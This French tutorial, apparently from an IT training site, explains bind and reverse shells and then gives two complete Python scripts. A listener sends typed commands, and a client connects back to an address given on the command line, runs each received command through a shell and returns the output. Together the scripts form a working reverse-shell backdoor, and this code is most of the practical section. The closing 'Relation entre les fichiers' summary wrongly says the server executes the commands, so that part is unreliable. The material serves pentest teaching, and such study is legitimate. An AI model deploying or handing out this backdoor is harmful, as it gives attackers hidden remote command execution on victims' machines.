Les backdoors représentent une menace sérieuse pour la sécurité des systèmes informatiques.
Elles permettent un accès non autorisé, compromettant l’intégrité et la confidentialité des données.
Cet article explore les bases des backdoors en Python, offrant des connaissances essentielles pour comprendre et contrer ces menaces.
Initiez-vous aux fondamentaux de Python pour devenir pentesteur.
Dans le domaine de la sécurité informatique, la création de backdoors est un sujet d’une importance cruciale. Dans ce chapitre, nous allons explorer les bases de la création de backdoors en utilisant le langage de programmation Python. Nous débuterons par une définition des backdoors, puis nous expliquerons les concepts de bind shell et de reverse shell. Pour conclure, nous passerons à une partie pratique où nous développerons une backdoor en Python dans notre propre laboratoire, illustrant ainsi les concepts discutés.
Backdoors en Python : Définitions
Bind Shell vs Reverse Shell en Python
Bind Shell :
Dans un bind shell, la machine cible écoute sur un port spécifique et attend une connexion entrante de l’attaquant. Une fois que l’attaquant se connecte à ce port, il obtient un accès distant à la machine cible et peut exécuter des commandes à distance.
Reverse Shell :
Dans un reverse shell, c’est la machine cible qui initie la connexion vers l’attaquant. Lorsqu’un reverse shell est établi, la machine cible envoie une connexion sortante à l’adresse IP et au port spécifiés par l’attaquant. Une fois que la connexion est établie, l’attaquant obtient un accès distant à la machine cible et peut exécuter des commandes à distance.
Différence :
La principale différence entre un bind shell et un reverse shell réside dans la direction de la connexion. Dans un bind shell, c’est l’attaquant qui se connecte à la machine cible, tandis que dans un reverse shell, c’est la machine cible qui initie la connexion vers l’attaquant. Les bind shells sont souvent bloqués par les pare-feux en raison des connexions entrantes qu’ils nécessitent, tandis que les reverse shells sont généralement plus discrets, car ils exploitent des connexions sortantes, qui sont souvent autorisées par les pare-feux. De plus, les bind shells peuvent exiger une configuration spécifique sur la machine cible, tandis que les reverse shells sont souvent plus simples à mettre en œuvre dans un environnement restreint. En résumé, le choix entre un bind shell et un reverse shell dépend des besoins spécifiques de la situation et des contraintes de sécurité.
Quant à l’identification de l’attaquant, elle dépendra des techniques de traçage employées et de la configuration des systèmes.
Exemple Pratique de Backdoor Python
Fichier Serveur (server.py) :
importsocket
importsubprocessassp
importsys
host =sys.argv[1]
port =int(sys.argv[2])
s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)
print("Listening en cours sur %s:%d" % (host, port))
conn, addr = s.accept()
print("[+] Connection établie avec l'hôte : %s" %str(addr[0]))
while True:
command = input("#> ")
if command != "exit":
if command == "":
continue
conn.send(command.encode())
result = conn.recv(1024).decode()
print(result.rstrip("\n"))
else:
conn.send("exit".encode())
print("[+] Connection fermée")
break
s.close()
Explication :
– Le serveur crée un socket avec `socket.socket()` et le lie à l’adresse et au port spécifiés avec `bind()` .
– Ensuite, il écoute les connexions entrantes avec `listen()` .
– Lorsqu’une connexion est établie avec `accept()` , le serveur récupère le socket et l’adresse du client.
– Une boucle `while` est utilisée pour attendre les commandes de l’utilisateur.
– Si une commande est saisie, elle est envoyée au client avec `conn.send()` .
– Le résultat de la commande envoyée par le client est reçu avec `conn.recv()` et affiché.
– Si la commande est « exit » , la connexion est fermée et la boucle se termine avec `break` .
– Enfin, le socket du serveur est fermé avec `close()` .
Fichier Client (client.py) :
importsocket
importsubprocessassp
importsys
host =sys.argv[1]
port =int(sys.argv[2])
conn =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
conn.connect((host, port))
while True:
command = conn.recv(1024).decode()
if command != "exit":
sh =sp.Popen(command,shell=True,
stdout=sp.PIPE,
stderr=sp.PIPE,
stdin=sp.PIPE)
out, err = sh.communicate()
result = out + err
length =str(len(result)).zfill(16)
conn.send(length.encode() + result)
else:
break
conn.close()
Explication:
– Le client crée un socket et se connecte au serveur avec `socket.socket()` et `connect()` .
– Une boucle `while` est utilisée pour recevoir les commandes du serveur.
– La commande reçue est exécutée avec `subprocess.Popen()` et la sortie est récupérée.
– Le résultat est envoyé au serveur avec sa longueur préfixée pour faciliter la réception côté serveur.
– Si la commande est « exit » , la boucle se termine et la connexion est fermée avec `close()` .
Relation entre les fichiers :
– Le serveur écoute sur un port spécifique et accepte les connexions entrantes.
– Le client se connecte au serveur et envoie les commandes à exécuter sur la machine cible.
– Le serveur reçoit les commandes du client, les exécute et envoie le résultat au client.
Formez-vous gratuitement avec Alphorm !
Maîtrisez les compétences clés en IT grâce à nos formations gratuites et accélérez votre carrière dès aujourd'hui.
FAQ
Qu'est-ce qu'une backdoor en informatique?
Quelle est la différence entre un bind shell et un reverse shell?
Comment créer une backdoor en Python?
Quels sont les défis de sécurité liés aux backdoors?
Pourquoi utiliser Python pour créer des backdoors?
Conclusion
La création de backdoors en Python offre une perspective précieuse sur la sécurité informatique. Quelle stratégie adopteriez-vous pour renforcer la protection de vos systèmes contre de telles menaces?
